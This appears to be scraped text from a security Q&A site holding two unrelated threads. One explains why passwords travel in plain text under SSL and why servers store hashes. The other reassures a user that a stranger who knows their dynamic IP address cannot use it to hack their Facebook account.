Passwords are sent plain text, that's why you use SSL to set up a secure connection so no-one can sniff your communication. Suggest you would send a hashed password, it would still be able to just sniff the hash and forge a request, since the server would be expecting a hash instead of the password. (which is basically just a string again)
Storing hashes is primarily done to make sure when the database is
hacked/looked into they can not see your password and try to re-use
it on other accounts/services.
They possible strip off spaces before hashing the password. As you say yourself, keeping a password's hash for every possibility where a white space could be, would storing multiple hashes. Or the password is always constructed of four groups of four letters. Then it would be easy to first remove all spaces and then just split it up again in 4 groups of 4 letters.


Is someone able to hack my Facebook account knowing my Dynamic IP, PPPoE and mask? I was using Facebook today and, after replying politely to someone about how stupid his comment on something was, Mr. John Doe, who I never met before, sent me this message:

  You wanna get hacked, huh? In less than 3 minutes I was able to get your dynamic IP, PPPoE and mask (your machine is pretty vulnerable).
  But stay calm and call your computer technician. Best wishes

Can he hack my Facebook account just with that? I think he was bluffing or something.

If it helps, I am using a regular DSL wireless router, a desktop computer with a USB Wi-Fi receiver and the machine has Windows 7. By the way, I changed the router administration password as soon as I got the wireless router, months before this happened.

Your IP is a public address and has nothing to do with your Facebook account. Just knowing it does not help someone to 'hack' you. In the same way, knowing your IP does not increase your threat of your computer being hacked.

He's blustering.